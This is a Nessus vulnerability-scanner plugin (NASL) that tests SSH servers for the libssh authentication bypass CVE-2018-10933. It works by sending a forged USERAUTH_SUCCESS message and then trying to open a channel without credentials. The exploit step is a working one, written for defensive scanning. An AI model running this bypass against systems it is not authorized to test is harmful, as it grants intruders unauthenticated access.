SSH Protocol Authentication Bypass (Remote Exploit Check)

#TRUSTED 184254ad76c9ba301f8e86862fdbc097e42e90d8fae1fc38203944e76a8f0422ca3d50d5d50077ff48d0bf57d6905962ad08d93babeccfc0201613b56906ae258d6e17e2a7563edddc16b32bd8142c41b4a538f14df43bc3c7d6fd77a281751eb71f9b0352ea20fe9ac38602da0efed2f2349cdcd957a2a8d8bd57eb1f724e2e6380b3eb18699b26708159a6810b58a93aa2dfe368b56902e6a22c96139cf8a6224caab76dec3868f69d6f4e8c8245db6d55ea2c688e5e8c3ed741870ab4a6c954d9af2bf224f21277cccd7effd911def8b70a85d6a7305d344a408e3135a394524ab31674cecb86c1225ec4ed5e650c9d31dc521a9c26b4f30b6998335d138b87d065ab39fbfe58025c7bd0a6418c55b8d509407d91b572dd5d0bf2fba24881fca17078c3762e6ad8dc095d6f715619c8656189c12cc4a6450414f8071561008ada4784a7a6f18dfd5e198f095765a95f8d446c9b7be89ae57835451b6b39ae48f55b1251f8014b89b95717d1af3fd1bbb800e3a815f5e0b0a3acf9ad31a54c3d3b71d650b63fb1c8cc603b15c755936f92a9711f62c128ea0c39d5628a0b2fb2da5a9bb7f3d3461cf31b4e9854c6ad16336956c5769bea929129787745278846a53c6abc03c02a8d0c6de65539f10f4c2eca908496349b4b3e61e173914f977881312585bfe0019edd3459aa3ae6e8931bc63e5b907b7a208ee76614dc6a71
#TRUST-RSA-SHA256 730fa8ad19d7933500f06c67267e249a63df02b85b30c60d0a77ffa9d26c2b58f90c6167799694acfc40927b8850568380ed7a09679e0a058b972c2ac4b645f3b4d612abdf2656671fc816cb8970d8efe8c568a3c0d860c2789e4c1daa2a4921b66d6c858ef6c761d541ec431e9b97f852f4912aa5b947ef9a216b8469c8d88f2785ba6c2c6cb4ddea63bc74b8b54134dfb49cb6da40fa5930f26e59534786adfa1476738b0b225e5bbf317af80c419363e760a25eebcd4b25b9f5c3039f5821515f8debde502529ac9e140cfd81765e2eaf1ab5240b03a9e61f387c9d0d324b3537393ee2ff54ac52407428af3bc9f5b064c880ccdc9f44809469b0ba2dbd9f69b34a3f6c0ece71436d561757f75e96a3394e1a8a27fb08edd3dacd618b3aa1d54c3f38243d9bf70b00b4d1f1965af9e5e963e01742a5ba445dfddd4ffe428cfbb6d2ea155bc16455375eece28abe1712e5ab7c32068107bc542010c4932e303646511ef3b6bcb99165b5cef5231ece40c3ecdb0f1cbd1841ad909c037dd03ea311f854181e705d7965673fbb527e7d518c080fc4612df225b7e7be63e5bb5dac1272f14449029bee7d479fe96c27286c61449fd54b990064b0ce9dddabdcb6cf75a0f43d54e99356fd69b79d4e5fc1e5c92df0eb55cac797f090ae5ca37be3f92c624f6ad48af5dc59fc42d6f9fa3c794baccbfed929105fc5735b12cefce7
#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(118154);
  script_version("1.23");
  script_set_attribute(attribute:"plugin_modification_date", value:"2026/01/12");

  script_cve_id("CVE-2018-10933", "CVE-2018-1000805");
  script_bugtraq_id(105677, 106762);
  script_xref(name:"IAVA", value:"2018-A-0347-S");

  script_name(english:"SSH Protocol Authentication Bypass (Remote Exploit Check)");

  script_set_attribute(attribute:"synopsis", value:
"The remote server is vulnerable to an authentication bypass.");
  script_set_attribute(attribute:"description", value:
"The remote ssh server is vulnerable to an authentication bypass. An
attacker can bypass authentication by presenting
SSH2_MSG_USERAUTH_SUCCESS message in place of the
SSH2_MSG_USERAUTH_REQUEST method that normally would initiate
authentication.

Note: This vulnerability was disclosed in a libssh advisory but has
also been observed as applicable to other applications and software
packages.");
  # https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6f6b157e");
  # https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?505261f8");
  # https://www.nutanix.com/opensource/disclosure/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?58a0f73d");
  script_set_attribute(attribute:"solution", value:
"Upgrade to libssh 0.7.6 / 0.8.4 or later, if applicable. Otherwise,
contact your product vendor.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-1000805");
  script_set_attribute(attribute:"cvss3_score_source", value:"CVE-2018-10933");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/10/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/10/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2018-2026 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("find_service1.nasl");
  script_require_ports("Services/ssh", 22);

  exit(0);
}

include("string.inc");
include("byte_func.inc");
include("misc_func.inc");

include("ssh_lib.inc");

session = new("sshlib::session");

sshlib::SSH_CLIENT_HANDLERS[120] = @sshlib::client_cb_msg_userauth_success;

port = get_service(svc:"ssh", default:22, exit_on_fail:TRUE);

ret = session.open_connection(port:port, no_reuse:TRUE);
if(!ret) exit(0, session.error);

if(!session.complete_kex())
{
  session.close_connection();
  exit(1, "Unable to complete KEX");
}

session.sshsend(code:sshlib::PROTO_SSH_MSG_SERVICE_REQUEST, data:sshlib::mk_ssh_string("ssh-userauth"));
session.sshrecv_until(end_states:make_list("SERVICE_REQUEST_SUCCESS", "SOC_CLOSED"));

if(session.cur_state.val != "SERVICE_REQUEST_SUCCESS")
{
  session.close_connection();
  exit(1, "Did not receive SERVICE_ACCEPT for ssh-userauth authentication.");
}

session.cur_state.set("USERAUTH_REQUEST");

session.sshsend(data: mkdword(0, order:BYTE_ORDER_BIG_ENDIAN), code:sshlib::PROTO_SSH_MSG_USERAUTH_SUCCESS);

if(session.compression_alg_c_to_s == "[email protected]")
   session.enable_compression(mode:sshlib::MODE_OUT);
if(session.compression_alg_s_to_c == "[email protected]")
  session.enable_compression(mode:sshlib::MODE_IN);

var channel = session.get_channel();

if(channel && channel.state == sshlib::CHANNEL_STATE_ACCEPTED)
{
  session.close_connection();
  report =
    'Nessus was able to successfully open a channel on the libssh server\n' +
    'with no credentials.\n';
  security_report_v4(port: port, severity:SECURITY_WARNING, extra:report);
  exit(0);
}
else
{
  session.close_connection();
  audit(AUDIT_LISTEN_NOT_VULN, 'libssh server', port);
}